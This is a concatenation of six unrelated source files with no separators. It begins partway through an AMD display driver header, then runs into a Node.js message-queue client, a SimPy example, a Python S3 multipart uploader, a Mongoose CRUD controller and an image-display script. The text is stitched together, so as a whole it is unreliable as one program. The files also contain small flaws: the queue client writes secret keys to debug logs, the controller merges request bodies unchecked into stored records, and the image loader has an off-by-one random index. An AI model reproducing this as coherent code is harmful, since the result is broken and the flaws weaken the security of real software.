unsigned long long end_tick = 0; \ unsigned long long voltage_level_tick = 0; \ unsigned long long watermark_tick = 0; \ unsigned long long start_tick = dc->debug.bw_val_profile.enable ? \ dm_get_timestamp(dc->ctx) : 0 #define BW_VAL_TRACE_COUNT() \ if (dc->debug.bw_val_profile.enable) \ dc->debug.bw_val_profile.total_count++ #define BW_VAL_TRACE_SKIP(status) \ if (dc->debug.bw_val_profile.enable) { \ if (!voltage_level_tick) \ voltage_level_tick = dm_get_timestamp(dc->ctx); \ dc->debug.bw_val_profile.skip_ ## status ## _count++; \ } #define BW_VAL_TRACE_END_VOLTAGE_LEVEL() \ if (dc->debug.bw_val_profile.enable) \ voltage_level_tick = dm_get_timestamp(dc->ctx) #define BW_VAL_TRACE_END_WATERMARKS() \ if (dc->debug.bw_val_profile.enable) \ watermark_tick = dm_get_timestamp(dc->ctx) #define BW_VAL_TRACE_FINISH() \ if (dc->debug.bw_val_profile.enable) { \ end_tick = dm_get_timestamp(dc->ctx); \ dc->debug.bw_val_profile.total_ticks += end_tick - start_tick; \ dc->debug.bw_val_profile.voltage_level_ticks += voltage_level_tick - start_tick; \ if (watermark_tick) { \ dc->debug.bw_val_profile.watermark_ticks += watermark_tick - voltage_level_tick; \ dc->debug.bw_val_profile.rq_dlg_ticks += end_tick - watermark_tick; \ } \ } union mem_low_power_enable_options { struct { bool i2c: 1; bool dmcu: 1; bool dscl: 1; bool cm: 1; bool mpc: 1; bool optc: 1; } bits; uint32_t u32All; }; struct dc_debug_options { enum visual_confirm visual_confirm; bool sanity_checks; bool max_disp_clk; bool surface_trace; bool timing_trace; bool clock_trace; bool validation_trace; bool bandwidth_calcs_trace; int max_downscale_src_width; /* stutter efficiency related */ bool disable_stutter; bool use_max_lb; enum dcc_option disable_dcc; enum pipe_split_policy pipe_split_policy; bool force_single_disp_pipe_split; bool voltage_align_fclk; bool disable_min_fclk; bool disable_dfs_bypass; bool disable_dpp_power_gate; bool disable_hubp_power_gate; bool disable_dsc_power_gate; int dsc_min_slice_height_override; int dsc_bpp_increment_div; bool native422_support; bool disable_pplib_wm_range; enum wm_report_mode pplib_wm_report_mode; unsigned int min_disp_clk_khz; unsigned int min_dpp_clk_khz; int sr_exit_time_dpm0_ns; int sr_enter_plus_exit_time_dpm0_ns; int sr_exit_time_ns; int sr_enter_plus_exit_time_ns; int urgent_latency_ns; uint32_t underflow_assert_delay_us; int percent_of_ideal_drambw; int dram_clock_change_latency_ns; bool optimized_watermark; int always_scale; bool disable_pplib_clock_request; bool disable_clock_gate; bool disable_mem_low_power; bool disable_dmcu; bool disable_psr; bool force_abm_enable; bool disable_stereo_support; bool vsr_support; bool performance_trace; bool az_endpoint_mute_only; bool always_use_regamma; bool recovery_enabled; bool avoid_vbios_exec_table; bool scl_reset_length10; bool hdmi20_disable; bool skip_detection_link_training; uint32_t edid_read_retry_times; bool remove_disconnect_edp; unsigned int force_odm_combine; //bit vector based on otg inst #if defined(CONFIG_DRM_AMD_DC_DCN) unsigned int force_odm_combine_4to1; //bit vector based on otg inst #endif unsigned int force_fclk_khz; bool enable_tri_buf; bool dmub_offload_enabled; bool dmcub_emulation; #if defined(CONFIG_DRM_AMD_DC_DCN) bool disable_idle_power_optimizations; unsigned int mall_size_override; unsigned int mall_additional_timer_percent; bool mall_error_as_fatal; #endif bool dmub_command_table; /* for testing only */ struct dc_bw_validation_profile bw_val_profile; bool disable_fec; bool disable_48mhz_pwrdwn; /* This forces a hard min on the DCFCLK requested to SMU/PP * watermarks are not affected. */ unsigned int force_min_dcfclk_mhz; #if defined(CONFIG_DRM_AMD_DC_DCN) int dwb_fi_phase; #endif bool disable_timing_sync; bool cm_in_bypass; int force_clock_mode;/*every mode change.*/ bool disable_dram_clock_change_vactive_support; bool validate_dml_output; bool enable_dmcub_surface_flip; bool usbc_combo_phy_reset_wa; bool disable_dsc; bool enable_dram_clock_change_one_display_vactive; union mem_low_power_enable_options enable_mem_low_power; bool force_vblank_alignment; /* Enable dmub aux for legacy ddc */ bool enable_dmub_aux_for_legacy_ddc; bool optimize_edp_link_rate; /* eDP ILR */ /* force enable edp FEC */ bool force_enable_edp_fec; /* FEC/PSR1 sequence enable delay in 100us */ uint8_t fec_enable_delay_in100us; }; struct dc_debug_data { uint32_t ltFailCount; uint32_t i2cErrorCount; uint32_t auxErrorCount; }; struct dc_phy_addr_space_config { struct { uint64_t start_addr; uint64_t end_addr; uint64_t fb_top; uint64_t fb_offset; uint64_t fb_base; uint64_t agp_top; uint64_t agp_bot; uint64_t agp_base; } system_aperture; struct { uint64_t page_table_start_addr; uint64_t page_table_end_addr; uint64_t page_table_base_addr; } gart_config; bool valid; bool is_hvm_enabled; uint64_t page_table_default_page_addr; }; struct dc_virtual_addr_space_config { uint64_t page_table_base_addr; uint64_t page_table_start_addr; uint64_t page_table_end_addr; uint32_t page_table_block_size_in_bytes; uint8_t page_table_depth; // 1 = 1 level, 2 = 2 level, etc. 0 = invalid }; struct dc_bounding_box_overrides { int sr_exit_time_ns; int sr_enter_plus_exit_time_ns; int urgent_latency_ns; int percent_of_ideal_drambw; int dram_clock_change_latency_ns; int dummy_clock_change_latency_ns; /* This forces a hard min on the DCFCLK we use * for DML. Unlike the debug option for forcing * DCFCLK, this override affects watermark calculations */ int min_dcfclk_mhz; }; struct dc_state; struct resource_pool; struct dce_hwseq; struct gpu_info_soc_bounding_box_v1_0; struct dc { struct dc_versions versions; struct dc_caps caps; struct dc_cap_funcs cap_funcs; struct dc_config config; struct dc_debug_options debug; struct dc_bounding_box_overrides bb_overrides; struct dc_bug_wa work_arounds; struct dc_context *ctx; struct dc_phy_addr_space_config vm_pa_config; uint8_t link_count; struct dc_link *links[MAX_PIPES * 2]; struct dc_state *current_state; struct resource_pool *res_pool; struct clk_mgr *clk_mgr; /* Display Engine Clock levels */ struct dm_pp_clock_levels sclk_lvls; /* Inputs into BW and WM calculations. */ struct bw_calcs_dceip *bw_dceip; struct bw_calcs_vbios *bw_vbios; #ifdef CONFIG_DRM_AMD_DC_DCN struct dcn_soc_bounding_box *dcn_soc; struct dcn_ip_params *dcn_ip; struct display_mode_lib dml; #endif /* HW functions */ struct hw_sequencer_funcs hwss; struct dce_hwseq *hwseq; /* Require to optimize clocks and bandwidth for added/removed planes */ bool optimized_required; bool wm_optimized_required; #if defined(CONFIG_DRM_AMD_DC_DCN) bool idle_optimizations_allowed; #endif /* Require to maintain clocks and bandwidth for UEFI enabled HW */ /* FBC compressor */ struct compressor *fbc_compressor; struct dc_debug_data debug_data; struct dpcd_vendor_signature vendor_signature; const char *build_id; struct vm_helper *vm_helper; }; enum frame_buffer_mode { FRAME_BUFFER_MODE_LOCAL_ONLY = 0, FRAME_BUFFER_MODE_ZFB_ONLY, FRAME_BUFFER_MODE_MIXED_ZFB_AND_LOCAL, } ; struct dchub_init_data { int64_t zfb_phys_addr_base; int64_t zfb_mc_base_addr; uint64_t zfb_size_in_byte; enum frame_buffer_mode fb_mode; bool dchub_initialzied; bool dchub_info_valid; }; struct dc_init_data { struct hw_asic_id asic_id; void *driver; /* ctx */ struct cgs_device *cgs_device; struct dc_bounding_box_overrides bb_overrides; int num_virtual_links; /* * If 'vbios_override' not NULL, it will be called instead * of the real VBIOS. Intended use is Diagnostics on FPGA. */ struct dc_bios *vbios_override; enum dce_environment dce_environment; struct dmub_offload_funcs *dmub_if; struct dc_reg_helper_state *dmub_offload; struct dc_config flags; uint64_t log_mask; struct dpcd_vendor_signature vendor_signature; #if defined(CONFIG_DRM_AMD_DC_DCN) bool force_smu_not_present; #endif }; struct dc_callback_init { #ifdef CONFIG_DRM_AMD_DC_HDCP struct cp_psp cp_psp; #else uint8_t reserved; #endif }; struct dc *dc_create(const struct dc_init_data *init_params); void dc_hardware_init(struct dc *dc); int dc_get_vmid_use_vector(struct dc *dc); void dc_setup_vm_context(struct dc *dc, struct dc_virtual_addr_space_config *va_config, int vmid); /* Returns the number of vmids supported */ int dc_setup_system_context(struct dc *dc, struct dc_phy_addr_space_config *pa_config); void dc_init_callbacks(struct dc *dc, const struct dc_callback_init *init_params); void dc_deinit_callbacks(struct dc *dc); void dc_destroy(struct dc **dc); /******************************************************************************* * Surface Interfaces ******************************************************************************/ enum { TRANSFER_FUNC_POINTS = 1025 }; struct dc_hdr_static_metadata { /* display chromaticities and white point in units of 0.00001 */ unsigned int chromaticity_green_x; unsigned int chromaticity_green_y; unsigned int chromaticity_blue_x; unsigned int chromaticity_blue_y; unsigned int chromaticity_red_x; unsigned int chromaticity_red_y; unsigned int chromaticity_white_point_x; unsigned int chromaticity_white_point_y; uint32_t min_luminance; uint32_t max_luminance; uint32_t maximum_content_light_level; uint32_t maximum_frame_average_light_level; }; enum dc_transfer_func_type { TF_TYPE_PREDEFINED, TF_TYPE_DISTRIBUTED_POINTS, TF_TYPE_BYPASS, TF_TYPE_HWPWL }; struct dc_transfer_func_distributed_points { struct fixed31_32 red[TRANSFER_FUNC_POINTS]; struct fixed31_32 green[TRANSFER_FUNC_POINTS]; struct fixed31_32 blue[TRANSFER_FUNC_POINTS]; uint16_t end_exponent; uint16_t x_point_at_y1_red; uint16_t x_point_at_y1_green; uint16_t x_point_at_y1_blue; }; enum dc_transfer_func_predefined { TRANSFER_FUNCTION_SRGB, TRANSFER_FUNCTION_BT709, TRANSFER_FUNCTION_PQ, TRANSFER_FUNCTION_LINEAR, TRANSFER_FUNCTION_UNITY, TRANSFER_FUNCTION_HLG, TRANSFER_FUNCTION_HLG12, TRANSFER_FUNCTION_GAMMA22, TRANSFER_FUNCTION_GAMMA24, TRANSFER_FUNCTION_GAMMA26 }; struct dc_transfer_func { struct kref refcount; enum dc_transfer_func_type type; enum dc_transfer_func_predefined tf; /* FP16 1.0 reference level in nits, default is 80 nits, only for PQ*/ uint32_t sdr_ref_white_level; union { struct pwl_params pwl; struct dc_transfer_func_distributed_points tf_pts; }; }; union dc_3dlut_state { struct { uint32_t initialized:1; /*if 3dlut is went through color module for initialization */ uint32_t rmu_idx_valid:1; /*if mux settings are valid*/ uint32_t rmu_mux_num:3; /*index of mux to use*/ uint32_t mpc_rmu0_mux:4; /*select mpcc on mux, one of the following : mpcc0, mpcc1, mpcc2, mpcc3*/ uint32_t mpc_rmu1_mux:4; uint32_t mpc_rmu2_mux:4; uint32_t reserved:15; } bits; uint32_t raw; }; struct dc_3dlut { struct kref refcount; struct tetrahedral_params lut_3d; struct fixed31_32 hdr_multiplier; union dc_3dlut_state state; }; /* * This structure is filled in by dc_surface_get_status and contains * the last requested address and the currently active address so the called * can determine if there are any outstanding flips */ struct dc_plane_status { struct dc_plane_address requested_address; struct dc_plane_address current_address; bool is_flip_pending; bool is_right_eye; }; union surface_update_flags { struct { uint32_t addr_update:1; /* Medium updates */ uint32_t dcc_change:1; uint32_t color_space_change:1; uint32_t horizontal_mirror_change:1; uint32_t per_pixel_alpha_change:1; uint32_t global_alpha_change:1; uint32_t hdr_mult:1; uint32_t rotation_change:1; uint32_t swizzle_change:1; uint32_t scaling_change:1; uint32_t position_change:1; uint32_t in_transfer_func_change:1; uint32_t input_csc_change:1; uint32_t coeff_reduction_change:1; uint32_t output_tf_change:1; uint32_t pixel_format_change:1; uint32_t plane_size_change:1; uint32_t gamut_remap_change:1; /* Full updates */ uint32_t new_plane:1; uint32_t bpp_change:1; uint32_t gamma_change:1; uint32_t bandwidth_change:1; uint32_t clock_change:1; uint32_t stereo_format_change:1; uint32_t full_update:1; } bits; uint32_t raw; }; struct dc_plane_state { struct dc_plane_address address; struct dc_plane_flip_time time; bool triplebuffer_flips; struct scaling_taps scaling_quality; struct rect src_rect; struct rect dst_rect; struct rect clip_rect; struct plane_size plane_size; union dc_tiling_info tiling_info; struct dc_plane_dcc_param dcc; struct dc_gamma *gamma_correction; struct dc_transfer_func *in_transfer_func; struct dc_bias_and_scale *bias_and_scale; struct dc_csc_transform input_csc_color_matrix; struct fixed31_32 coeff_reduction_factor; struct fixed31_32 hdr_mult; struct colorspace_transform gamut_remap_matrix; // TODO: No longer used, remove struct dc_hdr_static_metadata hdr_static_ctx; enum dc_color_space color_space; struct dc_3dlut *lut3d_func; struct dc_transfer_func *in_shaper_func; struct dc_transfer_func *blend_tf; #if defined(CONFIG_DRM_AMD_DC_DCN) struct dc_transfer_func *gamcor_tf; #endif enum surface_pixel_format format; enum dc_rotation_angle rotation; enum plane_stereo_format stereo_format; bool is_tiling_rotated; bool per_pixel_alpha; bool global_alpha; int global_alpha_value; bool visible; bool flip_immediate; bool horizontal_mirror; int layer_index; union surface_update_flags update_flags; bool flip_int_enabled; bool skip_manual_trigger; /* private to DC core */ struct dc_plane_status status; struct dc_context *ctx; /* HACK: Workaround for forcing full reprogramming under some conditions */ bool force_full_update; /* private to dc_surface.c */ enum dc_irq_source irq_source; struct kref refcount; }; struct dc_plane_info { struct plane_size plane_size; union dc_tiling_info tiling_info; struct dc_plane_dcc_param dcc; enum surface_pixel_format format; enum dc_rotation_angle rotation; enum plane_stereo_format stereo_format; enum dc_color_space color_space; bool horizontal_mirror; bool visible; bool per_pixel_alpha; bool global_alpha; int global_alpha_value; bool input_csc_enabled; int layer_index; }; struct dc_scaling_info { struct rect src_rect; struct rect dst_rect; struct rect clip_rect; struct scaling_taps scaling_quality; }; struct dc_surface_update { struct dc_plane_state *surface; /* isr safe update parameters. null means no updates */ const struct dc_flip_addrs *flip_addr; const struct dc_plane_info *plane_info; const struct dc_scaling_info *scaling_info; struct fixed31_32 hdr_mult; /* following updates require alloc/sleep/spin that is not isr safe, * null means no updates */ const struct dc_gamma *gamma; const struct dc_transfer_func *in_transfer_func; const struct dc_csc_transform *input_csc_color_matrix; const struct fixed31_32 *coeff_reduction_factor; const struct dc_transfer_func *func_shaper; const struct dc_3dlut *lut3d_func; const struct dc_transfer_func *blend_tf; const struct colorspace_transform *gamut_remap_matrix; }; /* * Create a new surface with default parameters; */ struct dc_plane_state *dc_create_plane_state(struct dc *dc); const struct dc_plane_status *dc_plane_get_status( const struct dc_plane_state *plane_state); void dc_plane_state_retain(struct dc_plane_state *plane_state); void dc_plane_state_release(struct dc_plane_state *plane_state); void dc_gamma_retain(struct dc_gamma *dc_gamma); void dc_gamma_release(struct dc_gamma **dc_gamma); struct dc_gamma *dc_create_gamma(void); void dc_transfer_func_retain(struct dc_transfer_func *dc_tf); void dc_transfer_func_release(struct dc_transfer_func *dc_tf); struct dc_transfer_func *dc_create_transfer_func(void); struct dc_3dlut *dc_create_3dlut_func(void); void dc_3dlut_func_release(struct dc_3dlut *lut); void dc_3dlut_func_retain(struct dc_3dlut *lut); /* * This structure holds a surface address. There could be multiple addresses * in cases such as Stereo 3D, Planar YUV, etc. Other per-flip attributes such * as frame durations and DCC format can also be set. */ struct dc_flip_addrs { struct dc_plane_address address; unsigned int flip_timestamp_in_us; bool flip_immediate; /* TODO: add flip duration for FreeSync */ bool triplebuffer_flips; }; void dc_post_update_surfaces_to_stream( struct dc *dc); #include "dc_stream.h" /* * Structure to store surface/stream associations for validation */ struct dc_validation_set { struct dc_stream_state *stream; struct dc_plane_state *plane_states[MAX_SURFACES]; uint8_t plane_count; }; bool dc_validate_seamless_boot_timing(const struct dc *dc, const struct dc_sink *sink, struct dc_crtc_timing *crtc_timing); enum dc_status dc_validate_plane(struct dc *dc, const struct dc_plane_state *plane_state); void get_clock_requirements_for_state(struct dc_state *state, struct AsicStateEx *info); bool dc_set_generic_gpio_for_stereo(bool enable, struct gpio_service *gpio_service); /* * fast_validate: we return after determining if we can support the new state, * but before we populate the programming info */ enum dc_status dc_validate_global_state( struct dc *dc, struct dc_state *new_ctx, bool fast_validate); void dc_resource_state_construct( const struct dc *dc, struct dc_state *dst_ctx); #if defined(CONFIG_DRM_AMD_DC_DCN) bool dc_acquire_release_mpc_3dlut( struct dc *dc, bool acquire, struct dc_stream_state *stream, struct dc_3dlut **lut, struct dc_transfer_func **shaper); #endif void dc_resource_state_copy_construct( const struct dc_state *src_ctx, struct dc_state *dst_ctx); void dc_resource_state_copy_construct_current( const struct dc *dc, struct dc_state *dst_ctx); void dc_resource_state_destruct(struct dc_state *context); bool dc_resource_is_dsc_encoding_supported(const struct dc *dc); /* * TODO update to make it about validation sets * Set up streams and links associated to drive sinks * The streams parameter is an absolute set of all active streams. * * After this call: * Phy, Encoder, Timing Generator are programmed and enabled. * New streams are enabled with blank stream; no memory read. */ bool dc_commit_state(struct dc *dc, struct dc_state *context); void dc_power_down_on_boot(struct dc *dc); struct dc_state *dc_create_state(struct dc *dc); struct dc_state *dc_copy_state(struct dc_state *src_ctx); void dc_retain_state(struct dc_state *context); void dc_release_state(struct dc_state *context); /******************************************************************************* * Link Interfaces ******************************************************************************/ struct dpcd_caps { union dpcd_rev dpcd_rev; union max_lane_count max_ln_count; union max_down_spread max_down_spread; union dprx_feature dprx_feature; /* valid only for eDP v1.4 or higher*/ uint8_t edp_supported_link_rates_count; enum dc_link_rate edp_supported_link_rates[8]; /* dongle type (DP converter, CV smart dongle) */ enum display_dongle_type dongle_type; /* branch device or sink device */ bool is_branch_dev; /* Dongle's downstream count. */ union sink_count sink_count; /* If dongle_type == DISPLAY_DONGLE_DP_HDMI_CONVERTER, indicates 'Frame Sequential-to-lllFrame Pack' conversion capability.*/ struct dc_dongle_caps dongle_caps; uint32_t sink_dev_id; int8_t sink_dev_id_str[6]; int8_t sink_hw_revision; int8_t sink_fw_revision[2]; uint32_t branch_dev_id; int8_t branch_dev_name[6]; int8_t branch_hw_revision; int8_t branch_fw_revision[2]; bool allow_invalid_MSA_timing_param; bool panel_mode_edp; bool dpcd_display_control_capable; bool ext_receiver_cap_field_present; bool dynamic_backlight_capable_edp; union dpcd_fec_capability fec_cap; struct dpcd_dsc_capabilities dsc_caps; struct dc_lttpr_caps lttpr_caps; struct psr_caps psr_caps; }; union dpcd_sink_ext_caps { struct { /* 0 - Sink supports backlight adjust via PWM during SDR/HDR mode * 1 - Sink supports backlight adjust via AUX during SDR/HDR mode. */ uint8_t sdr_aux_backlight_control : 1; uint8_t hdr_aux_backlight_control : 1; uint8_t reserved_1 : 2; uint8_t oled : 1; uint8_t reserved : 3; } bits; uint8_t raw; }; #if defined(CONFIG_DRM_AMD_DC_HDCP) union hdcp_rx_caps { struct { uint8_t version; uint8_t reserved; struct { uint8_t repeater : 1; uint8_t hdcp_capable : 1; uint8_t reserved : 6; } byte0; } fields; uint8_t raw[3]; }; union hdcp_bcaps { struct { uint8_t HDCP_CAPABLE:1; uint8_t REPEATER:1; uint8_t RESERVED:6; } bits; uint8_t raw; }; struct hdcp_caps { union hdcp_rx_caps rx_caps; union hdcp_bcaps bcaps; }; #endif #include "dc_link.h" #if defined(CONFIG_DRM_AMD_DC_DCN) uint32_t dc_get_opp_for_plane(struct dc *dc, struct dc_plane_state *plane); #endif /******************************************************************************* * Sink Interfaces - A sink corresponds to a display output device ******************************************************************************/ struct dc_container_id { // 128bit GUID in binary form unsigned char guid[16]; // 8 byte port ID -> ELD.PortID unsigned int portId[2]; // 128bit GUID in binary formufacturer name -> ELD.ManufacturerName unsigned short manufacturerName; // 2 byte product code -> ELD.ProductCode unsigned short productCode; }; struct dc_sink_dsc_caps { // 'true' if these are virtual DPCD's DSC caps (immediately upstream of sink in MST topology), // 'false' if they are sink's DSC caps bool is_virtual_dpcd_dsc; struct dsc_dec_dpcd_caps dsc_dec_caps; }; struct dc_sink_fec_caps { bool is_rx_fec_supported; bool is_topology_fec_supported; }; /* * The sink structure contains EDID and other display device properties */ struct dc_sink { enum signal_type sink_signal; struct dc_edid dc_edid; /* raw edid */ struct dc_edid_caps edid_caps; /* parse display caps */ struct dc_container_id *dc_container_id; uint32_t dongle_max_pix_clk; void *priv; struct stereo_3d_features features_3d[TIMING_3D_FORMAT_MAX]; bool converter_disable_audio; struct dc_sink_dsc_caps dsc_caps; struct dc_sink_fec_caps fec_caps; bool is_vsc_sdp_colorimetry_supported; /* private to DC core */ struct dc_link *link; struct dc_context *ctx; uint32_t sink_id; /* private to dc_sink.c */ // refcount must be the last member in dc_sink, since we want the // sink structure to be logically cloneable up to (but not including) // refcount struct kref refcount; }; void dc_sink_retain(struct dc_sink *sink); void dc_sink_release(struct dc_sink *sink); struct dc_sink_init_data { enum signal_type sink_signal; struct dc_link *link; uint32_t dongle_max_pix_clk; bool converter_disable_audio; }; struct dc_sink *dc_sink_create(const struct dc_sink_init_data *init_params); /* Newer interfaces */ struct dc_cursor { struct dc_plane_address address; struct dc_cursor_attributes attributes; }; /******************************************************************************* * Interrupt interfaces ******************************************************************************/ enum dc_irq_source dc_interrupt_to_irq_source( struct dc *dc, uint32_t src_id, uint32_t ext_id); bool dc_interrupt_set(struct dc *dc, enum dc_irq_source src, bool enable); void dc_interrupt_ack(struct dc *dc, enum dc_irq_source src); enum dc_irq_source dc_get_hpd_irq_source_at_index( struct dc *dc, uint32_t link_index); /******************************************************************************* * Power Interfaces ******************************************************************************/ void dc_set_power_state( struct dc *dc, enum dc_acpi_cm_power_state power_state); void dc_resume(struct dc *dc); void dc_power_down_on_boot(struct dc *dc); #if defined(CONFIG_DRM_AMD_DC_HDCP) /* * HDCP Interfaces */ enum hdcp_message_status dc_process_hdcp_msg( enum signal_type signal, struct dc_link *link, struct hdcp_protection_message *message_info); #endif bool dc_is_dmcu_initialized(struct dc *dc); enum dc_status dc_set_clock(struct dc *dc, enum dc_clock_type clock_type, uint32_t clk_khz, uint32_t stepping); void dc_get_clock(struct dc *dc, enum dc_clock_type clock_type, struct dc_clock_config *clock_cfg); #if defined(CONFIG_DRM_AMD_DC_DCN) bool dc_is_plane_eligible_for_idle_optimizations(struct dc *dc, struct dc_plane_state *plane, struct dc_cursor_attributes *cursor_attr); void dc_allow_idle_optimizations(struct dc *dc, bool allow); /* * blank all streams, and set min and max memory clock to * lowest and highest DPM level, respectively */ void dc_unlock_memory_clock_frequency(struct dc *dc); /* * set min memory clock to the min required for current mode, * max to maxDPM, and unblank streams */ void dc_lock_memory_clock_frequency(struct dc *dc); /* cleanup on driver unload */ void dc_hardware_release(struct dc *dc); #endif bool dc_set_psr_allow_active(struct dc *dc, bool enable); bool dc_enable_dmub_notifications(struct dc *dc); bool dc_process_dmub_aux_transfer_async(struct dc *dc, uint32_t link_index, struct aux_payload *payload); /******************************************************************************* * DSC Interfaces ******************************************************************************/ #include "dc_dsc.h" /******************************************************************************* * Disable acc mode Interfaces ******************************************************************************/ void dc_disable_accelerated_mode(struct dc *dc); #endif /* DC_INTERFACE_H_ */
'use strict'; const { MQClient } = require('mq-http-sdk'); const { sleep } = require('pure-func/promise'); const assert = require('assert'); const shortId = require('shortid'); module.exports = class ONS { constructor(app) { this.app = app; this.logger = app.getLogger('onsLogger'); this.config = app.config.ons; app.ready(() => { this.appReady = true; }); this.clients = Object.create(null); this.producerMap = Object.create(null); this.consumers = []; } getClient(endpoint, accessKey, secretKey) { const key = `${endpoint}_${accessKey}`; if (!this.clients[key]) { this.clients[key] = new MQClient(endpoint, accessKey, secretKey, null, { logger: this.logger, }); } return this.clients[key]; } async init() { const { pub } = this.config; for (const [ key, options ] of Object.entries(pub)) { await this.createProducer(key, { ...this.config.default, ...options }); } } async initConsumer() { const { sub } = this.config; for (const [ key, options ] of Object.entries(sub)) { await this.createConsumer(key, { ...this.config.default, ...options }); } } async createConsumer(key, options) { const { consumers, app } = this; const { endpoint, accessKey, secretKey, instanceId, topics, subExpression = '', consumerGroup, } = options; assert(endpoint, 'required endpoint'); const client = this.getClient(endpoint, accessKey, secretKey); this.logger.debug(endpoint, accessKey, secretKey); topics.forEach(topic => { const consumer = client.getConsumer(instanceId, topic, consumerGroup, subExpression); consumer.app = app; consumers.push(consumer); consumer.subscribe(async msg => { if (app.als) { app.als.scope(); } const ctx = app.createAnonymousContext({ url: `/ons/${topic}/${msg.tag}/${msg.body.length > 20 ? '*' : msg.body.toString()}/${msg.msgId}`, }); if (ctx.service.ons[key].checkSendDelayMsg) { const sendedDelayMsg = await ctx.service.ons[key].checkSendDelayMsg(msg); if (sendedDelayMsg) { return; } } ctx.logger.info('onMsg', msg); const startedAt = Date.now(); try { const ret = await ctx.service.ons[key].onMsg(msg); const diff = Date.now() - startedAt; if (diff > 280000) { ctx.logger.error('done', Date.now() - startedAt, ret); } else { ctx.logger.info('done', Date.now() - startedAt, ret); } } catch (err) { const diff = Date.now() - startedAt; if (diff < 200) { await sleep(1000); } ctx.logger.error(err, Date.now() - startedAt); } }, options); }); } async createProducer(key, options) { const { producerMap } = this; const { endpoint, accessKey, secretKey, instanceId, topics, } = options; const client = this.getClient(endpoint, accessKey, secretKey); producerMap[key] = Object.create(null); topics.forEach(topic => { producerMap[key][topic] = client.getProducer(instanceId, topic); producerMap[key].default = producerMap[key][topic]; }); } getProducer(key, topic) { return this.producerMap[key][topic || 'default']; } async send(producerId, topic, tag, body, opts = {}) { return this.getProducer(producerId, topic).sendMsg(body, tag, opts); } async sendObject(producerId, topic, tag, body, opts = {}) { return this.getProducer(producerId, topic).sendMsg(JSON.stringify({ id: shortId.generate(), ...body, }), tag, opts); } };
import simpy def car(env): while True: print('Start parking at %d' % env.now) parking_duration = 5 yield env.timeout(parking_duration) print('Start driving at %d' % env.now) trip_duration = 2 yield env.timeout(trip_duration) env = simpy.Environment() env.process(car(env)) env.run(until=15)
import hashlib from queue import Empty, Queue from threading import Event import gc from botocore import exceptions from botocore.client import BaseClient class CorruptedMultipartError(Exception): pass class S3FileProgress(object): def __init__(self, name, data): self.name = name self.data = data def __str__(self): return "{}: {}".format(self.name, self.data) def checksum_validates(data_etag, s3_etag): return data_etag == s3_etag[1:-1] def worker( client: BaseClient, stop_workers_request: Event, work_queue: Queue, result_queue: Queue, progress_queue: Queue, bucket: str, key: str, upload_id: str, max_retries: int, ): retries = 0 while not stop_workers_request.is_set() or work_queue.qsize() > 0: try: data, part_index = work_queue.get(timeout=0.05) except Empty: continue try: part = client.upload_part( PartNumber=part_index, Body=data, Bucket=bucket, Key=key, UploadId=upload_id, ) hash_md5 = hashlib.md5() hash_md5.update(data) data_etag = hash_md5.hexdigest() s3_etag = part["ETag"] if not checksum_validates(data_etag, s3_etag): progress = S3FileProgress( "Part nr {} upload".format(part_index), "Incorrect checksum {}!={}".format(data_etag, s3_etag), ) progress_queue.put(progress) raise CorruptedMultipartError(progress) else: progress_queue.put( S3FileProgress( "Part nr {} upload".format(part_index), "ok [{}]".format(len(data)), ) ) work_queue.task_done() result_queue.put({"PartNumber": part_index, "ETag": s3_etag}) gc.collect() # boto3 has memory leaks for some reason except (CorruptedMultipartError, exceptions.ClientError): if retries < max_retries: work_queue.put((data, part_index)) retries += 1 else: raise
'use strict'; /** * Module dependencies. */ var path = require('path'), mongoose = require('mongoose'), Skill = mongoose.model('Skill'), errorHandler = require(path.resolve('./modules/core/server/controllers/errors.server.controller')), _ = require('lodash'); /** * Create a Skill */ exports.create = function(req, res) { var skill = new Skill(req.body); skill.user = req.user; skill.save(function(err) { if (err) { return res.status(400).send({ message: errorHandler.getErrorMessage(err) }); } else { res.jsonp(skill); } }); }; /** * Show the current Skill */ exports.read = function(req, res) { // convert mongoose document to JSON var skill = req.skill ? req.skill.toJSON() : {}; // Add a custom field to the Article, for determining if the current User is the "owner". // NOTE: This field is NOT persisted to the database, since it doesn't exist in the Article model. skill.isCurrentUserOwner = req.user && skill.user && skill.user._id.toString() === req.user._id.toString() ? true : false; res.jsonp(skill); }; /** * Update a Skill */ exports.update = function(req, res) { var skill = req.skill ; skill = _.extend(skill , req.body); skill.save(function(err) { if (err) { return res.status(400).send({ message: errorHandler.getErrorMessage(err) }); } else { res.jsonp(skill); } }); }; /** * Delete an Skill */ exports.delete = function(req, res) { var skill = req.skill ; skill.remove(function(err) { if (err) { return res.status(400).send({ message: errorHandler.getErrorMessage(err) }); } else { res.jsonp(skill); } }); }; /** * List of Skills */ exports.list = function(req, res) { Skill.find().sort('-created').populate('user', 'displayName').exec(function(err, skills) { if (err) { return res.status(400).send({ message: errorHandler.getErrorMessage(err) }); } else { res.jsonp(skills); } }); }; /** * Skill middleware */ exports.skillByID = function(req, res, next, id) { if (!mongoose.Types.ObjectId.isValid(id)) { return res.status(400).send({ message: 'Skill is invalid' }); } Skill.findById(id).populate('user', 'displayName').exec(function (err, skill) { if (err) { return next(err); } else if (!skill) { return res.status(404).send({ message: 'No Skill with that identifier has been found' }); } req.skill = skill; next(); }); };
# -*- coding: utf-8 -*- """ Created on Thu Feb 4 09:04:00 2021 @author: Gebruiker """ import cv2 import os import glob import matplotlib.pyplot as plt import random def load_images_from_folder(folder): '''Reads and displays all images in a given folder''' images = [] for filename in os.listdir(folder): img = cv2.imread(os.path.join(folder,filename)) if img is not None: images.append(img) return images def load_a_few_images_from_folder(folder,amount_of_images=5): '''Generates a random list of indexes of lenth 5, where each random value is an integer between 0 and the amount of images in the folder. Next the images with these indexes are read and displayed''' #create random indexes list files = os.listdir(folder) number_files = len(files) randomlist = [] for i in range(0,amount_of_images): n = random.randint(0,number_files) randomlist.append(n) #read images with random indexes from given folder images = [] data_path = os.path.join(folder,'*g') files = glob.glob(data_path) for i in randomlist: img = plt.imread(files[i]) images.append(img) return images def display_images(images,title): '''displays all images in one figure given a list of images as input and a title for the figure''' fig, ax = plt.subplots(nrows=len(images), ncols=1, figsize=(20,20)) fig.suptitle(title) for i in range(len(ax)): ax[i].imshow(images[i]) plt.show() train_0_images = load_a_few_images_from_folder(r'C:\Users\Gebruiker\Documents\TUe\Jaar 3\8P361\train\0') train_1_images = load_a_few_images_from_folder(r'C:\Users\Gebruiker\Documents\TUe\Jaar 3\8P361\train\1') display_images(train_0_images, 'train_images_zero') display_images(train_1_images, 'train_images_one')
